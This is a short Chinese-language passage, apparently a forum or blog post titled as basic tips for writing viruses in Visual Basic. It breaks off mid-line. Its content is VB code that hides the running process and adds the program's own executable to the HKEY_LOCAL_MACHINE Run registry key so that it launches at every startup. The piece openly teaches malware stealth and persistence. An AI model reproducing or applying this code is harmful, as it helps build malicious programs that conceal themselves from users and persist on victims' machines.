告诉你几个VB写病毒的常识 HideCurrentProcess '隐藏进程 Dim hKey As Long, SubKey As String, Exe As String SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" Exe = App.Path & "\" & App.EXEName & ".exe" RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey RegSetValueEx hKey, "199115